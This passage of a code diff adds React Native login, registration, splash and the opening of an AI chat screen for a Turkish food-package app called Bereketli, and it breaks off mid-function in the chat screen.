{/* Background pattern circles */}
|
||||||
|
<View style={styles.bgCircle1} />
|
||||||
|
<View style={styles.bgCircle2} />
|
||||||
|
|
||||||
|
{/* Logo */}
|
||||||
|
<Animated.View
|
||||||
|
style={[
|
||||||
|
styles.logoContainer,
|
||||||
|
{
|
||||||
|
transform: [{scale: logoScale}],
|
||||||
|
opacity: logoOpacity,
|
||||||
|
},
|
||||||
|
]}>
|
||||||
|
<Image
|
||||||
|
source={{uri: 'https://bereketli.pezkiwi.app/logo.png'}}
|
||||||
|
style={styles.logoImage}
|
||||||
|
resizeMode="contain"
|
||||||
|
/>
|
||||||
|
</Animated.View>
|
||||||
|
|
||||||
|
{/* Title hidden — logo.png contains "Bereketli" text */}
|
||||||
|
|
||||||
|
{/* Subtitle */}
|
||||||
|
<Animated.Text style={[styles.subtitle, {opacity: subtitleOpacity}]}>
|
||||||
|
{t('splash.subtitle')}
|
||||||
|
</Animated.Text>
|
||||||
|
|
||||||
|
{/* Bottom tagline */}
|
||||||
|
<View style={styles.bottomSection}>
|
||||||
|
<Text style={styles.tagline}>{t('splash.tagline')}</Text>
|
||||||
|
<View style={styles.dots}>
|
||||||
|
<View style={[styles.dot, styles.dotActive]} />
|
||||||
|
<View style={styles.dot} />
|
||||||
|
<View style={styles.dot} />
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Background decorative circles
|
||||||
|
bgCircle1: {
|
||||||
|
position: 'absolute',
|
||||||
|
top: -width * 0.3,
|
||||||
|
right: -width * 0.2,
|
||||||
|
width: width * 0.8,
|
||||||
|
height: width * 0.8,
|
||||||
|
borderRadius: width * 0.4,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.05)',
|
||||||
|
},
|
||||||
|
bgCircle2: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: -width * 0.2,
|
||||||
|
left: -width * 0.3,
|
||||||
|
width: width * 0.7,
|
||||||
|
height: width * 0.7,
|
||||||
|
borderRadius: width * 0.35,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.03)',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Logo
|
||||||
|
logoContainer: {
|
||||||
|
width: 140,
|
||||||
|
height: 170,
|
||||||
|
borderRadius: 28,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 16,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 8},
|
||||||
|
shadowOpacity: 0.15,
|
||||||
|
shadowRadius: 16,
|
||||||
|
elevation: 10,
|
||||||
|
overflow: 'hidden',
|
||||||
|
},
|
||||||
|
logoImage: {
|
||||||
|
width: 130,
|
||||||
|
height: 160,
|
||||||
|
},
|
||||||
|
|
||||||
|
subtitle: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: 'rgba(255,255,255,0.7)',
|
||||||
|
fontWeight: '500',
|
||||||
|
marginTop: 8,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Bottom
|
||||||
|
bottomSection: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: 60,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
tagline: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: 'rgba(255,255,255,0.5)',
|
||||||
|
fontWeight: '500',
|
||||||
|
marginBottom: 16,
|
||||||
|
},
|
||||||
|
dots: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
gap: 6,
|
||||||
|
},
|
||||||
|
dot: {
|
||||||
|
width: 6,
|
||||||
|
height: 6,
|
||||||
|
borderRadius: 3,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.3)',
|
||||||
|
},
|
||||||
|
dotActive: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
width: 20,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,279 @@
|
|||||||
|
import React, {useState, useEffect} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TextInput,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Alert,
|
||||||
|
Image,
|
||||||
|
KeyboardAvoidingView,
|
||||||
|
Platform,
|
||||||
|
ScrollView,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {useAuthStore} from '../../store/authStore';
|
||||||
|
import {colors, spacing, typography} from '../../theme';
|
||||||
|
// Google Sign-In stubbed — auth bridges through pwap's Supabase
|
||||||
|
const GoogleSignin = { configure: (_opts: unknown) => {}, hasPlayServices: async () => true, signIn: async () => ({ data: { idToken: '' } }) };
|
||||||
|
const statusCodes = { SIGN_IN_CANCELLED: 'SIGN_IN_CANCELLED', IN_PROGRESS: 'IN_PROGRESS', PLAY_SERVICES_NOT_AVAILABLE: 'PLAY_SERVICES_NOT_AVAILABLE' };
|
||||||
|
import client, {saveTokens} from '../../api/client';
|
||||||
|
|
||||||
|
import Svg, {Path} from 'react-native-svg';
|
||||||
|
import {GOOGLE_WEB_CLIENT_ID as WEB_CLIENT_ID} from '../../config';
|
||||||
|
|
||||||
|
export default function LoginScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [identifier, setIdentifier] = useState('');
|
||||||
|
const [password, setPassword] = useState('');
|
||||||
|
const [googleLoading, setGoogleLoading] = useState(false);
|
||||||
|
const {login, isLoading, error, clearError} = useAuthStore();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
GoogleSignin.configure({
|
||||||
|
webClientId: WEB_CLIENT_ID,
|
||||||
|
offlineAccess: true,
|
||||||
|
});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleLogin = async () => {
|
||||||
|
if (!identifier.trim() || !password) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.loginErrorRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
await login(identifier.trim(), password);
|
||||||
|
} catch {
|
||||||
|
// Error zustand store'da
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleGoogleLogin = async () => {
|
||||||
|
setGoogleLoading(true);
|
||||||
|
clearError();
|
||||||
|
try {
|
||||||
|
await GoogleSignin.hasPlayServices();
|
||||||
|
const response = await GoogleSignin.signIn();
|
||||||
|
const idToken = response.data?.idToken;
|
||||||
|
|
||||||
|
if (!idToken) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.googleTokenError'));
|
||||||
|
setGoogleLoading(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send to backend
|
||||||
|
const {data} = await client.post('/auth/google', {id_token: idToken});
|
||||||
|
await saveTokens(data.access_token, data.refresh_token);
|
||||||
|
|
||||||
|
// Update auth store
|
||||||
|
useAuthStore.setState({
|
||||||
|
user: data.user,
|
||||||
|
isLoggedIn: true,
|
||||||
|
isLoading: false,
|
||||||
|
});
|
||||||
|
} catch (err: any) {
|
||||||
|
if (err.code === statusCodes.SIGN_IN_CANCELLED) {
|
||||||
|
// Kullanici iptal etti — sessiz
|
||||||
|
} else if (err.code === statusCodes.PLAY_SERVICES_NOT_AVAILABLE) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.googlePlayError'));
|
||||||
|
} else {
|
||||||
|
const msg = err.response?.data?.message || err.message || t('auth.googleLoginFailed');
|
||||||
|
Alert.alert(t('common.error'), msg);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
setGoogleLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<KeyboardAvoidingView
|
||||||
|
style={styles.container}
|
||||||
|
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
|
||||||
|
<View style={styles.header}>
|
||||||
|
<Image
|
||||||
|
source={{uri: 'https://bereketli.pezkiwi.app/logo.png'}}
|
||||||
|
style={styles.logoImage}
|
||||||
|
resizeMode="contain"
|
||||||
|
/>
|
||||||
|
<Text style={styles.subtitle}>{t('auth.subtitle')}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.form}>
|
||||||
|
{error && (
|
||||||
|
<View style={styles.errorBox}>
|
||||||
|
<Text style={styles.errorText}>{error}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.emailOrPhone')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={identifier}
|
||||||
|
onChangeText={text => {
|
||||||
|
clearError();
|
||||||
|
setIdentifier(text);
|
||||||
|
}}
|
||||||
|
placeholder={t('auth.emailPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
autoCapitalize="none"
|
||||||
|
keyboardType="email-address"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.password')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={password}
|
||||||
|
onChangeText={text => {
|
||||||
|
clearError();
|
||||||
|
setPassword(text);
|
||||||
|
}}
|
||||||
|
placeholder={t('auth.passwordPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
returnKeyType="go"
|
||||||
|
onSubmitEditing={handleLogin}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.button, isLoading && styles.buttonDisabled]}
|
||||||
|
onPress={handleLogin}
|
||||||
|
disabled={isLoading}>
|
||||||
|
<Text style={styles.buttonText}>
|
||||||
|
{isLoading ? t('auth.loggingIn') : t('auth.login')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Divider */}
|
||||||
|
<View style={styles.divider}>
|
||||||
|
<View style={styles.dividerLine} />
|
||||||
|
<Text style={styles.dividerText}>{t('common.or')}</Text>
|
||||||
|
<View style={styles.dividerLine} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Google Sign-In */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.googleButton, googleLoading && styles.buttonDisabled]}
|
||||||
|
onPress={handleGoogleLogin}
|
||||||
|
disabled={googleLoading}>
|
||||||
|
{googleLoading ? (
|
||||||
|
<ActivityIndicator color={colors.textPrimary} />
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<Svg width={20} height={20} viewBox="0 0 24 24">
|
||||||
|
<Path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92a5.06 5.06 0 01-2.2 3.32v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.1z" fill="#4285F4" />
|
||||||
|
<Path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853" />
|
||||||
|
<Path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05" />
|
||||||
|
<Path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335" />
|
||||||
|
</Svg>
|
||||||
|
<Text style={styles.googleText}>{t('auth.googleLogin')}</Text>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.linkButton}
|
||||||
|
onPress={() => navigation.navigate('Register')}>
|
||||||
|
<Text style={styles.linkText}>
|
||||||
|
{t('auth.noAccount')} <Text style={styles.linkBold}>{t('auth.registerLink')}</Text>
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
</KeyboardAvoidingView>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
scroll: {flexGrow: 1, justifyContent: 'center', padding: spacing.xl},
|
||||||
|
header: {alignItems: 'center', marginBottom: spacing.xxxl},
|
||||||
|
logoImage: {width: 120, height: 140, marginBottom: spacing.md},
|
||||||
|
title: {
|
||||||
|
...typography.h1,
|
||||||
|
color: colors.primary,
|
||||||
|
marginBottom: spacing.xs,
|
||||||
|
},
|
||||||
|
subtitle: {
|
||||||
|
...typography.caption,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
},
|
||||||
|
form: {width: '100%'},
|
||||||
|
label: {
|
||||||
|
...typography.captionBold,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
marginBottom: spacing.xs,
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
},
|
||||||
|
input: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.border,
|
||||||
|
borderRadius: 10,
|
||||||
|
padding: spacing.lg,
|
||||||
|
fontSize: 16,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
},
|
||||||
|
button: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 10,
|
||||||
|
padding: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
marginTop: spacing.xl,
|
||||||
|
},
|
||||||
|
buttonDisabled: {opacity: 0.6},
|
||||||
|
buttonText: {
|
||||||
|
...typography.button,
|
||||||
|
color: colors.textWhite,
|
||||||
|
},
|
||||||
|
divider: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginVertical: spacing.xl,
|
||||||
|
},
|
||||||
|
dividerLine: {
|
||||||
|
flex: 1,
|
||||||
|
height: 1,
|
||||||
|
backgroundColor: colors.border,
|
||||||
|
},
|
||||||
|
dividerText: {
|
||||||
|
...typography.caption,
|
||||||
|
color: colors.textLight,
|
||||||
|
marginHorizontal: spacing.md,
|
||||||
|
},
|
||||||
|
googleButton: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderWidth: 1.5,
|
||||||
|
borderColor: '#E5E7EB',
|
||||||
|
borderRadius: 12,
|
||||||
|
paddingVertical: 14,
|
||||||
|
paddingHorizontal: 20,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05,
|
||||||
|
shadowRadius: 3,
|
||||||
|
elevation: 2,
|
||||||
|
},
|
||||||
|
googleText: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#374151',
|
||||||
|
marginLeft: 12,
|
||||||
|
},
|
||||||
|
linkButton: {alignItems: 'center', marginTop: spacing.xl},
|
||||||
|
linkText: {...typography.caption, color: colors.textSecondary},
|
||||||
|
linkBold: {color: colors.primary, fontWeight: '600'},
|
||||||
|
errorBox: {
|
||||||
|
backgroundColor: '#FEE2E2',
|
||||||
|
borderRadius: 8,
|
||||||
|
padding: spacing.md,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: '#FECACA',
|
||||||
|
},
|
||||||
|
errorText: {color: colors.error, ...typography.caption},
|
||||||
|
});
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
import React, {useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TextInput,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Alert,
|
||||||
|
KeyboardAvoidingView,
|
||||||
|
Platform,
|
||||||
|
ScrollView,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {useAuthStore} from '../../store/authStore';
|
||||||
|
import {colors, spacing, typography} from '../../theme';
|
||||||
|
|
||||||
|
export default function RegisterScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [name, setName] = useState('');
|
||||||
|
const [email, setEmail] = useState('');
|
||||||
|
const [phone, setPhone] = useState('');
|
||||||
|
const [password, setPassword] = useState('');
|
||||||
|
const [confirmPassword, setConfirmPassword] = useState('');
|
||||||
|
const [referralCode, setReferralCode] = useState('');
|
||||||
|
const {register, isLoading, error, clearError} = useAuthStore();
|
||||||
|
|
||||||
|
const handleRegister = async () => {
|
||||||
|
if (!name.trim() || !email.trim() || !password) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.registerErrorRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (password.length < 8) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.registerErrorPasswordMin'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (password !== confirmPassword) {
|
||||||
|
Alert.alert(t('common.error'), t('auth.registerErrorPasswordMatch'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
await register(name.trim(), email.trim(), password, phone.trim() || undefined, referralCode.trim() || undefined);
|
||||||
|
} catch {
|
||||||
|
// Error store'da
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<KeyboardAvoidingView
|
||||||
|
style={styles.container}
|
||||||
|
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
|
||||||
|
<View style={styles.header}>
|
||||||
|
<Text style={styles.title}>{t('auth.registerTitle')}</Text>
|
||||||
|
<Text style={styles.subtitle}>{t('auth.registerSubtitle')}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.form}>
|
||||||
|
{error && (
|
||||||
|
<View style={styles.errorBox}>
|
||||||
|
<Text style={styles.errorText}>{error}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.fullName')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={name}
|
||||||
|
onChangeText={txt => { clearError(); setName(txt); }}
|
||||||
|
placeholder={t('auth.fullNamePlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.email')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={email}
|
||||||
|
onChangeText={txt => { clearError(); setEmail(txt); }}
|
||||||
|
placeholder={t('auth.emailOnlyPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
autoCapitalize="none"
|
||||||
|
keyboardType="email-address"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.phoneOptional')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={phone}
|
||||||
|
onChangeText={setPhone}
|
||||||
|
placeholder={t('auth.phonePlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
keyboardType="phone-pad"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.passwordLabel')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={password}
|
||||||
|
onChangeText={txt => { clearError(); setPassword(txt); }}
|
||||||
|
placeholder={t('auth.passwordMinPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.confirmPassword')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={confirmPassword}
|
||||||
|
onChangeText={setConfirmPassword}
|
||||||
|
placeholder={t('auth.confirmPasswordPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>{t('auth.referralCodeOptional')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={referralCode}
|
||||||
|
onChangeText={setReferralCode}
|
||||||
|
placeholder={t('auth.referralCodePlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
autoCapitalize="characters"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.button, isLoading && styles.buttonDisabled]}
|
||||||
|
onPress={handleRegister}
|
||||||
|
disabled={isLoading}>
|
||||||
|
<Text style={styles.buttonText}>
|
||||||
|
{isLoading ? t('auth.registering') : t('auth.register')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.linkButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.linkText}>
|
||||||
|
{t('auth.haveAccount')} <Text style={styles.linkBold}>{t('auth.loginLink')}</Text>
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
</KeyboardAvoidingView>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
scroll: {flexGrow: 1, justifyContent: 'center', padding: spacing.xl},
|
||||||
|
header: {alignItems: 'center', marginBottom: spacing.xxl},
|
||||||
|
title: {...typography.h1, color: colors.primary},
|
||||||
|
subtitle: {...typography.caption, color: colors.textSecondary, marginTop: spacing.xs},
|
||||||
|
form: {width: '100%'},
|
||||||
|
label: {
|
||||||
|
...typography.captionBold,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
marginBottom: spacing.xs,
|
||||||
|
marginTop: spacing.md,
|
||||||
|
},
|
||||||
|
input: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.border,
|
||||||
|
borderRadius: 10,
|
||||||
|
padding: spacing.lg,
|
||||||
|
fontSize: 16,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
},
|
||||||
|
button: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 10,
|
||||||
|
padding: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
marginTop: spacing.xl,
|
||||||
|
},
|
||||||
|
buttonDisabled: {opacity: 0.6},
|
||||||
|
buttonText: {...typography.button, color: colors.textWhite},
|
||||||
|
linkButton: {alignItems: 'center', marginTop: spacing.xl},
|
||||||
|
linkText: {...typography.caption, color: colors.textSecondary},
|
||||||
|
linkBold: {color: colors.primary, fontWeight: '600'},
|
||||||
|
errorBox: {
|
||||||
|
backgroundColor: '#FEE2E2',
|
||||||
|
borderRadius: 8,
|
||||||
|
padding: spacing.md,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: '#FECACA',
|
||||||
|
},
|
||||||
|
errorText: {color: colors.error, ...typography.caption},
|
||||||
|
});
|
||||||
@@ -0,0 +1,429 @@
|
|||||||
|
import React, {useState, useRef, useCallback, useEffect} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
TextInput,
|
||||||
|
StyleSheet,
|
||||||
|
KeyboardAvoidingView,
|
||||||
|
Platform,
|
||||||
|
ActivityIndicator,
|
||||||
|
Image,
|
||||||
|
Animated,
|
||||||
|
NativeModules,
|
||||||
|
NativeEventEmitter,
|
||||||
|
PermissionsAndroid,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import {sendMessage} from '../../api/chat';
|
||||||
|
import type {ChatMessage} from '../../api/chat';
|
||||||
|
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
|
||||||
|
|
||||||
|
const {BereketliSpeech} = NativeModules;
|
||||||
|
const speechEmitter = new NativeEventEmitter(BereketliSpeech);
|
||||||
|
|
||||||
|
type Props = NativeStackScreenProps<Record<string, undefined>, 'AiChat'>;
|
||||||
|
|
||||||
|
interface DisplayMessage {
|
||||||
|
id: string;
|
||||||
|
role: 'user' | 'assistant';
|
||||||
|
content: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// eslint-disable-next-line @typescript-eslint/no-var-requires
|
||||||
|
const AI_AVATAR = require('../../assets/ai-avatar.jpg');
|
||||||
|
|
||||||
|
export default function AiChatScreen({navigation}: Props) {
|
||||||
|
const {t, i18n} = useTranslation();
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const [messages, setMessages] = useState<DisplayMessage[]>([]);
|
||||||
|
const [inputText, setInputText] = useState('');
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [chatStarted, setChatStarted] = useState(false);
|
||||||
|
const [isListening, setIsListening] = useState(false);
|
||||||
|
const [partialText, setPartialText] = useState('');
|
||||||
|
const flatListRef = useRef<FlatList<DisplayMessage>>(null);
|
||||||
|
const pulseAnim = useRef(new Animated.Value(1)).current;
|
||||||
|
|
||||||
|
const VOICE_LOCALES: Record<string, string> = {
|
||||||
|
tr: 'tr-TR', en: 'en-US', ar: 'ar-IQ', ckb: 'ckb-IQ', ku: 'ku-TR', fa: 'fa-IR',
|
||||||
|
};
|
||||||
|
|
||||||
|
// Pulse animation while listening
|
||||||
|
useEffect(() => {
|
||||||
|
if (isListening) {
|
||||||
|
const pulse = Animated.loop(
|
||||||
|
Animated.sequence([
|
||||||
|
Animated.timing(pulseAnim, {toValue: 1.15, duration: 600, useNativeDriver: true}),
|
||||||
|
Animated.timing(pulseAnim, {toValue: 1, duration: 600, useNativeDriver: true}),
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
pulse.start();
|
||||||
|
return () => pulse.stop();
|
||||||
|
}
|
||||||
|
pulseAnim.setValue(1);
|
||||||
|
}, [isListening, pulseAnim]);
|
||||||
|
|
||||||
|
// Speech recognition events
|
||||||
|
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||||
|
const handleSendRef = useRef<any>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const resultSub = speechEmitter.addListener('onSpeechResult', (text: string) => {
|
||||||
|
setIsListening(false);
|
||||||
|
setPartialText('');
|
||||||
|
if (text) handleSendRef.current(text);
|
||||||
|
});
|
||||||
|
const partialSub = speechEmitter.addListener('onSpeechPartial', (text: string) => {
|
||||||
|
setPartialText(text);
|
||||||
|
});
|
||||||
|
const errorSub = speechEmitter.addListener('onSpeechError', () => {
|
||||||
|
setIsListening(false);
|
||||||
|
setPartialText('');
|
||||||
|
});
|
||||||
|
return () => {
|
||||||
|
resultSub.remove();
|
||||||
|
partialSub.remove();
|
||||||
|
errorSub.remove();
|
||||||
|
BereketliSpeech.destroy();
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const startListening = async () => {
|
||||||
|
if (Platform.OS === 'android') {
|
||||||
|
const granted = await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.RECORD_AUDIO);
|
||||||
|
if (granted !== PermissionsAndroid.RESULTS.GRANTED) return;
|
||||||
|
}
|
||||||
|
setIsListening(true);
|
||||||
|
setPartialText('');
|
||||||
|
const locale = VOICE_LOCALES[i18n.language] || 'tr-TR';
|
||||||
|
BereketliSpeech.start(locale);
|
||||||
|
};
|
||||||
|
|
||||||
|
const stopListening = () => {
|
||||||
|
BereketliSpeech.stop();
|
||||||
|
};
|
||||||
|
|
||||||
|
const suggestions = [
|
||||||
|
{key: 'packages', label: t('chat.suggestPackages')},
|
||||||
|
{key: 'food', label: t('chat.suggestFood')},
|
||||||
|
{key: 'store', label: t('chat.suggestStore')},
|
||||||
|
];
|
||||||
|
|
||||||
|
const handleSend = useCallback(
|
||||||
|
async (text: string) => {
|
||||||
|
const trimmed = text.trim();
|
||||||
|
if (!trimmed || loading) return;
|
||||||
|
|
||||||
|
if (!chatStarted) setChatStarted(true);
|
||||||
|
|
||||||
|
const userMsg: DisplayMessage = {
|
||||||
|
id: `user-${Date.now()}`,
|
||||||
|
role: 'user',
|
||||||
|
content: trimmed,
|
||||||
|
};
|
||||||
|
|
||||||
|
setMessages(prev => [...prev, userMsg]);
|
||||||
|
setInputText('');
|
||||||
|
setLoading(true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const conversation: ChatMessage[] = messages.map(m => ({
|
||||||
|
role: m.role,
|
||||||
|
content: m.content,
|
||||||
|
}));
|
||||||
|
conversation.push({role: 'user', content: trimmed});
|
||||||
|
|
||||||
|
const response = await sendMessage(trimmed, conversation);
|
||||||
|
|
||||||
|
const aiMsg: DisplayMessage = {
|
||||||
|
id: `ai-${Date.now()}`,
|
||||||
|
role: 'assistant',
|
||||||
|
content: response.reply,
|
||||||
|
};
|
||||||
|
setMessages(prev => [...prev, aiMsg]);
|
||||||
|
} catch {
|
||||||
|
